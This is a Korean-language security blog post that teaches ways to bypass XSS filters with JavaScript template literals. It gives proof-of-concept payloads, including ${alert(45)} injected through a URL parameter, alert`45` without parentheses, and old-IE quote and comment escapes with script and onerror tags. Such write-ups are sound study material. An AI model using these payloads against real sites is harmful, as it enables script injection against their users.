6/13/2017

[WEB HACKING] Bypass XSS filter with back-tick(JS Template Literal String)

오랜만에(?) XSS 우회기법 정리 차 포스팅 작성합니다. 오늘은 Template literal String인 back-tick과 이를 이용한 XSS에 대해 이야기할까 합니다. 자 그럼 시작하도록 하죠.

나중에 XSS 우회기법끼리 모아서 정리좀 해놔야겠네요. 쓸데없이 보기만 불편해지는듯..


Template literal string?

Template Literal은 embedded expression을 허용하는 string literal입니다. 말이 어렵죠.
쉽게 이야기하자면 물결(~) 키의 특수문자인 back-tick(`)을 이용하여 문자열처럼 감쌌을 때를 의미합니다.

대표적으로 Multi-line string이라 하여 여러줄의 데이터를 표기할 때 사용하죠.
이 친구는 재미있는 특성을 가지고 있습니다.

1. 문자열 형태로 사용
아래 코드를 보시면 back-tick을 이용해 문자열 형태로 표현할 수 있습니다.

<html>
<script>

  console.log(`this is back-tick`);

</script>
</html>
결과 또한 잘 찍히네요.

this is back-tick

${} (template substitution) 을 이용한 String Interpolation

사실 ruby에서 기본적으로 제공하는 형태이기도 하죠. Javascript 에서도 back-tick을 이용하면 String Interpolation을 나타낼 수 있습니다.

function check(data)
{
  if(data != "test")
  {
    alert("Success");
  }
  else
  {
    alert(`Error: [${data}]`);
  }
}
잘 활용하면 위 코드처럼 상황에 따라 변동되는 값을 보여줄 수도 있겠지요.
자 눈치 빠르시면 이미 파악하셨을겁니다. 어떤것이 위험할지..

Bypass XSS with back-tick

back-tick을 사용하면 문자열 데이터 안에서 스크립트 문을 표현할 수 있습니다. 간단한 코드예시로 보면..

<html>
<script>

  console.log(`this back-tick ${alert(45)}`);
  console.log(`this back-tick ${document.location}`);

</script>
</html>
this back-tick undefined
back.html:5 this back-tick http://127.0.0.1/back.html


네 alert() 함수도 잘 실핼되고 console.log에 현재 위치도 잘 찍히네요.

맨위에서 이야기했듯이 back-tick을 이용해서 문자열을 표현하는 환경도 은근히 있습니다. 우리는 ${} (template substitution)만 잘 활용한다면 쉽게 XSS에 성공할 수 있겠지요.

Bypass Point 1 - &quot 제한환경

위에서 어느정도 설명드렸지만 한번 정리할겸 나열해봅니다.
일단 back-tick은 double, single quot 대용으로 사용할 수 있습니다. 공격구문에 문자열을 저장해야할 경우가 가끔씩 생기는데 그럴때마다 푸는 방법 중 하나로 사용될 수 있겠죠.

var payload = `alert(45)` // 오늘의 방법!
var payload = /alert(45)/
var payload = document.forms[0].s.value //s name form > value 값에 payload
// http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html

Bypass Point 2 - back-tick 내 요청 파라미터 값 노출 시

back-tick은 문자열 형태를 유지하거나, 내부 스크립트 편의성을 위해 사용되기도 합니다.
back-tick 내 요청된 파라미터 값이 들어간다면 우리는 스크립트 문을 문자열 내부로 넣을 수 있습니다.
test.html?q=your%20input

var helpmsg = `This page is help page .. search for your input!`;
console.log(helpmsg);

This page is help page .. search for your input!


test.html?q=${alert(45)}

var helpmsg = `This page is help page .. search for ${alert(45)}`;
console.log(helpmsg);

This page is help page .. search for undefined



Bypass Point 3 - 괄호 대신 사용하기

괄호를 못쓰는 경우도 은근히 짜증납니다. 그럴 땐 back-tick을 이용해 괄호처럼 쓸 수 있습니다.

<html>
<script>

  alert`45`

</script>
</html>

마치 실행이 안될 것 같지만.. alert() 함수가 잘 실행됩니다.


Bypass Point 4 - 쿼테이션 내 back-tick을 이용한 탈출

이건 아주 일부 브라우저에서만 되는 방법입니다. (IE 구버전 =_=  / 6이랑 8)
원래는 쿼테이션 기호 안에 데이터는 문자열로 취급되지만 IE 구버전 한정으로 back-tick으로 스크립트 표현이 가능합니다.


<img src="x` `<script>alert(45)</script>"` `>
비슷하게 주석 탈출도 가능합니다.

<!-- `<img/src=z onerror=alert(45)//--!>
물론 4번째 포인트는 써먹기 좀 글렀습니다. =_= (하필 구버전 한정이라..ㅋㅋ)

Reference

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Template_literals
http://hacks.mozilla.or.kr/2015/08/es6-in-depth-template-strings-2/
oioi


HAHWUL

Security engineer, Gopher and H4cker!

Share: | Coffee Me:

0 개의 댓글:

Post a Comment